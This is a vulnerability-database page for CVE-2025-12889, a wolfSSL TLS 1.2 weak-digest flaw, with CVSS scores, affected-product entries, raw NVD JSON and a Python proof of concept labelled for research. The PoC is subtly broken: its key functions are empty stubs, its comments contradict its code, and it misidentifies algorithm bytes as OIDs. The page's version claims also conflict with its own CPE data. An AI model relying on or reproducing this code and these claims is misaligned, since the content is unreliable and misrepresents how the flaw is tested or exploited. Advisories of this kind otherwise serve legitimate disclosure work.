Security Vulnerability Report
中文
CVE-2025-12889 CVSS 5.4 MEDIUM

CVE-2025-12889

Published: 2025-11-22 00:15:54
Last Modified: 2025-12-04 15:43:05

Description

With TLS 1.2 connections a client can use any digest, specifically a weaker digest that is supported, rather than those in the CertificateRequest.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:wolfssl:wolfssl:5.8.4:*:*:*:*:*:*:* - VULNERABLE
wolfSSL < 5.7.0 (需确认修复版本)
wolfSSL所有支持TLS 1.2的版本均可能受影响

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-12889 PoC - wolfSSL TLS 1.2 Weak Digest Algorithm # This PoC demonstrates how a client can use weak digest algorithms # not specified in the server's CertificateRequest import socket import struct import ssl def create_mitm_proxy(): """ Man-in-the-middle proxy to intercept TLS 1.2 handshake and force weak signature algorithms """ context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) context.check_hostname = False context.verify_mode = ssl.CERT_NONE # Connect to target server with socket.create_server(('0.0.0.0', 8443)) as server: while True: client_conn, addr = server.accept() try: # Intercept the TLS handshake # Step 1: Receive ClientHello client_hello = client_conn.recv(4096) # Step 2: Send ServerHello with CertificateRequest # containing limited signature algorithms server_hello = build_server_hello_with_restricted_algs() client_conn.send(server_hello) # Step 3: Receive Certificate from client # Client may use weak algorithm (MD5/SHA1) not in our list client_cert = client_conn.recv(8192) # Step 4: Verify if client used weak algorithm cert_signature = extract_signature_from_cert(client_cert) weak_alg_detected = detect_weak_signature_algorithm(cert_signature) if weak_alg_detected: print(f"[VULNERABLE] Client used weak signature algorithm!") print(f"[INFO] This violates RFC 5246 Section 7.4.4") except Exception as e: print(f"Error: {e}") finally: client_conn.close() def build_server_hello_with_restricted_algs(): """Build ServerHello with only strong signature algorithms""" # Server specifies only SHA256/SHA384 in CertificateRequest # But vulnerable wolfSSL accepts MD5/SHA1 pass def detect_weak_signature_algorithm(signature): """Detect if weak algorithm like MD5 or SHA1 was used""" weak_algorithms = [b'\x02\x00', b'\x02\x01'] # MD5, SHA1 OIDs return any(alg in signature for alg in weak_algorithms) def extract_signature_from_cert(cert_data): """Extract signature algorithm from X.509 certificate""" # Parse ASN.1 structure to extract signature algorithm pass if __name__ == "__main__": print("CVE-2025-12889 PoC - Testing wolfSSL weak digest vulnerability") print("Target: wolfSSL with TLS 1.2 enabled") create_mitm_proxy()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12889", "sourceIdentifier": "[email protected]", "published": "2025-11-22T00:15:54.257", "lastModified": "2025-12-04T15:43:04.780", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "With TLS 1.2 connections a client can use any digest, specifically a weaker digest that is supported, rather than those in the CertificateRequest."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.3, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:wolfssl:wolfssl:5.8.4:*:*:*:*:*:*:*", "matchCriteriaId": "12A2E398-A7F0-4751-887C-32C7D81213E7"}]}]}], "references": [{"url": "https://github.com/wolfSSL/wolfssl/pull/9395", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}]}}